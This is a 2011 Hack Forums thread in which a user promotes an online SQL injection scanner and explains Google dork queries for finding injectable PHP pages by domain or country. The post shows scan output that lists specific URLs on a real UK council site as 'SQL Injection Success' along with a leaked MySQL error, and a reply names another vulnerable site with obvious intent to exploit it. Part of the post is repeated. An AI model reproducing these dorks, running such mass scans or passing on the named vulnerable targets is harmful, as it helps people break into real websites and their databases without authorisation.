+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [How to] Use online sqli scanner (scan specific: websites/domains/countries) (/showthread.php?tid=976158)
[How to] Use online sqli scanner (scan specific: websites/domains/countries) - hack_addicted.pt - Jan 14, 2011
✩hack_addicted.pt SQLi Scanner ✩
--Status:[online]--
I HIGHLY recommend you to use this SQLi Scanner, and not .exe tools!
Side Note: Better dork = more results! Keep that in mind!
Note: This scanner is coded by r3m1ck, a very famous Indonesian Coder, i just modded it and uploaded it.
--
✩Online SQLi Scanner ✩
>Click here to Access<
--
✩Explained: Online SQLi Scanner ✩
✩How to: Scan specific websites ✩
Just use it like this:
inurl:php?id=+site:[domain of website]
you can either change it like:
inurl:php?page=+site:[domain of website]
inurl:php?type=+site:[domain of website]
If by any chance it fail's just put inurl or allinurl instead of site, like this:
inurl:php?id=+inurl:[domain of website]
inurl:php?id=+allinurl:[domain of website]
Examples:
If you want to scan specif countries websites:
for example .pt websites:
inurl:php?type=+site:.pt
or .br:
inurl:php?type=+site:.br
If you want to scan: www.thurrock.gov.uk
use: inurl:php?=id+site:thurrock.gov.uk
results:
It does a shearch in google, using specific words called dorks
Imagine you put this in google:
inurl:php?=id+gov
and you get a list of results: 6.980.000 results in (0,22 secs)
now to check the ones vulnerable would take you for ever if you check one by one manually, so what this script does, it puts a ' at the end of the url and shearch for specific words that would be the ones you see when you check it manually.
example (script working):
google shearch result:
http://www.thurrock.gov.uk/libraries/libinfo/content.php?page=library
turns to:
http://www.thurrock.gov.uk/libraries/libinfo/content.php?page='library
So the script knows that the website is vuln.
And displays the result.
Any question fell free to ask. 👍
--Status:[online]--
I HIGHLY recommend you to use this SQLi Scanner, and not .exe tools!
Side Note: Better dork = more results! Keep that in mind!
Note: This scanner is coded by r3m1ck, a very famous Indonesian Coder, i just modded it and uploaded it.
--
✩Online SQLi Scanner ✩
>Click here to Access<
--
✩Explained: Online SQLi Scanner ✩
✩How to: Scan specific websites ✩
Just use it like this:
inurl:php?id=+site:[domain of website]
you can either change it like:
inurl:php?page=+site:[domain of website]
inurl:php?type=+site:[domain of website]
If by any chance it fail's just put inurl or allinurl instead of site, like this:
inurl:php?id=+inurl:[domain of website]
inurl:php?id=+allinurl:[domain of website]
Examples:
If you want to scan specif countries websites:
for example .pt websites:
inurl:php?type=+site:.pt
or .br:
inurl:php?type=+site:.br
If you want to scan: www.thurrock.gov.uk
use: inurl:php?=id+site:thurrock.gov.uk
results:
Code
http://www.thurrock.gov.uk/benefits/content.php?page='advice_types <== SQL Injection Success !
http://www.thurrock.gov.uk/life/content.php?page='category&ID='13 <== SQL Injection Success !
http://www.thurrock.gov.uk/libraries/libinfo/content.php?page='library&id='6 <== SQL Injection Success !
http://www.thurrock.gov.uk/life/content.php?page='category&ID='21 <== SQL Injection Success !
http://www.thurrock.gov.uk/life/content.php?page='category&ID='16 <== SQL Injection Success !
http://www.thurrock.gov.uk/a2z/content.php?page='service&ID='349 <== SQL Injection Success !
http://www.thurrock.gov.uk/libraries/libinfo/content.php?page='library&id='1 <== SQL Injection Success !
http://www.thurrock.gov.uk/life/content.php?page='category&ID='11 <== SQL Injection Success !It does a shearch in google, using specific words called dorks
Imagine you put this in google:
inurl:php?=id+gov
and you get a list of results: 6.980.000 results in (0,22 secs)
now to check the ones vulnerable would take you for ever if you check one by one manually, so what this script does, it puts a ' at the end of the url and shearch for specific words that would be the ones you see when you check it manually.
example (script working):
google shearch result:
http://www.thurrock.gov.uk/libraries/libinfo/content.php?page=library
Code
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Thurrock Council | Library Information | Library Information</title>....turns to:
http://www.thurrock.gov.uk/libraries/libinfo/content.php?page='library
Code
<p><b>Error: </b>Could not query the database.</p><p>Please try again later.</p>
[b]<!--[/b] 1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'library'
LIMIT 1' at line 22 -->So the script knows that the website is vuln.
And displays the result.
Any question fell free to ask. 👍
* - Joshc - Jan 14, 2011
I love this, thank you so much! Works really well! :)
* - boyman - Jan 14, 2011
Thanks for share dude ;)
its very will help me
* - Cyber Striker - Jan 15, 2011
I always use this in google dorks!
* - AttYy - Jan 15, 2011
nice man :))) working ;ň)) http://www.lcoastpress.com/journal.php?id='7 <== SQL Injection Success !
I like it :)) its good 'cause of greed/red color :)) i have now something about 5 SQLinjection successes ;D :) lets start fun.
//
its now on 700 pages, and it is still trying to find.. How much is possible to scan?? :)))
* - hack_addicted.pt - Jan 15, 2011
(Jan 14, 2011 08:32 PM)Joshc Wrote: I love this, thank you so much! Works really well! :)
Thanks mate 👍
(Jan 14, 2011 10:35 PM)boyman Wrote: Thanks for share dude ;)
its very will help me
You welcome 🤝
(Jan 15, 2011 02:13 AM)Cyber Striker Wrote: I always use this in google dorks!
As you prefer 🤣
(Jan 15, 2011 02:24 AM)AttYy Wrote: nice man :))) working ;ň)) http://www.lcoastpress.com/journal.php?id='7 <== SQL Injection Success !
I like it :)) its good 'cause of greed/red color :)) i have now something about 5 SQLinjection successes ;D :) lets start fun.
//
its now on 700 pages, and it is still trying to find.. How much is possible to scan?? :)))
To 1000 pages per scan 🤗
* - Thomzz4 - Jan 15, 2011
Thanks !!! Your awesome!
Why was that to short?
* - PyScHo.HacKer - Jan 15, 2011
Nice share bro,, short, short
* - Obscures - Jan 15, 2011
Thanks for the share bro ^^
* - lovetaj - Jan 16, 2011
Thanks mate. I tried working perfect with me
* - pingkol - Jan 16, 2011
Hey hack_addicted.pt, do you have any tool which can find login page of such websites?
* - susanyu - Jan 16, 2011
it's work 🤗
are you indonesian sir? 🤝
ty
Terima Kasih
* - www.x4kep.info - Jan 16, 2011
https://hackforums.net/showthread.php?tid=979499 The Truth about hack_addicted.pt
* - hack_addicted.pt - Jan 16, 2011
(Jan 16, 2011 02:28 AM)www.x4kep.info Wrote: https://hackforums.net/showthread.php?tid=979499 The Truth about hack_addicted.pt
I loled so much!! All that threat is a joke to me!!
I never asked people to +rep like i see some people doing, I don't really even care about the status of the rep, I just say thanks to the people that actually do because of the action in it self, of giving +rep as thanks, but i dont give a fuck to the value of the rep or opinions like yours.
That threat is just a opinion you have, the one i did are facts.
Go suck srblche maybe he scam's you and then +rep's you..
* - Mr 004 - Jan 16, 2011
wOwowo awesome Nice scanner and work perfect thanks you